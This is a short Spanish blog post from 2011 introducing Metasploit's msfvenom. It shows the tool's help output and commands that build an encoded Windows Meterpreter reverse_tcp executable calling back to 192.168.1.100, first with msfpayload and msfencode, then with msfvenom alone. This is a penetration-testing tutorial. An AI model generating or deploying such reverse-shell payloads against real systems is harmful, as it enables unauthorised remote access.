miércoles, 6 de julio de 2011

Metasploit MSFVenom

Hace unas semanas, durante una de mis actualizaciones del Metasploit Framework ví aparecer un nuevo comando llamado "msfvenom". No había leído nada en el blog de Metasploit ni en ningún otro lado, pero con ese nombre tenía que ser algo bueno, así que miré la ayuda del comando a ver si averiguaba que hacía el nuevo jueguete:

$ ./msfvenom --help
Usage: ./msfvenom [options]
Options:
-p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
-n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload
-f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war
-e, --encoder    [encoder]       The encoder to use
-a, --arch       [architecture]  The architecture to use
    --platform   [platform]
    The platform of the payload
-s, --space      [length]        The maximum size of the resulting payload
-b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'
-i, --iterations [count]         The number of times to encode the payload
-c, --add-code   [path]          Specify an additional win32 shellcode file to include
-x, --template   [path]          Specify a custom executable file to use as a template
-k, --keep                       Preserve the template behavior and inject the payload as a new thread
-h, --help                       Show this message


Visto lo visto, y después de jugar un rato, podemos decir que "msfvenom" simplemente es una unificación de los binarios "msfpayload" y "msfencode" que todos hemos utilizado para generar payloads de Metasploit para que funcionen de forma independiente, o para importarlos en nuestros exploits fuera del framework, y cifrarlo.

Por hacer un repaso, hasta ahora, si quisiéramo generar un Payload de tipo Meterpreter para Windows y encodearlo con 10 iteraciones de alguno de los algoritmos, tendríamos que llamar a msfpayload señalando la salida como Raw, y concatenar esta con msfencode:

$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 R | ./msfencode -e x86/shikata_ga_nai -c 10 -t exe -o meterpreter.exe

Ahora, con el nuevo comando, sería lo mismo, pero sin tener que usar tuberías ni elegir formato Raw primero:

$ ./msfvenom --payload windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai --iterations 10 LHOST=192.168.1.100 > meterpreter.exe

Por lo demás, usaríamos este binario de su forma habitual, y por supuesto tiene muchas más opciones para elegir patrones diferentes para crear los binarios, igual que sucedía con "msfpayload" y "msfencode".

2 comentarios :

Anónimo dijo...

"pero con ese nombre tenía que ser algo bueno"

LOL :-)

Jose Selvi dijo...

@Anónimo: Ya te digo, el equipo de Metasploit siempre pone nombres muy Geeks a todo lo que hacen.

El día que vi que a un Plugin para WinDBG que sacaron lo llamaron "Byakugan"... Que si alguno ha seguido la serie de Naruto sabrá que es un nombre muy acertado para un debugger :)

Hecho por Geeks para los Geeks ;)